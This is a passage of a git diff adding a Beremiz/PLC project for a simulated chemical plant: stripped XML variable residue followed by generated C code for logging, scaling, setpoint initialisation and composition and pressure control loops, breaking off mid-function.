+ + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + 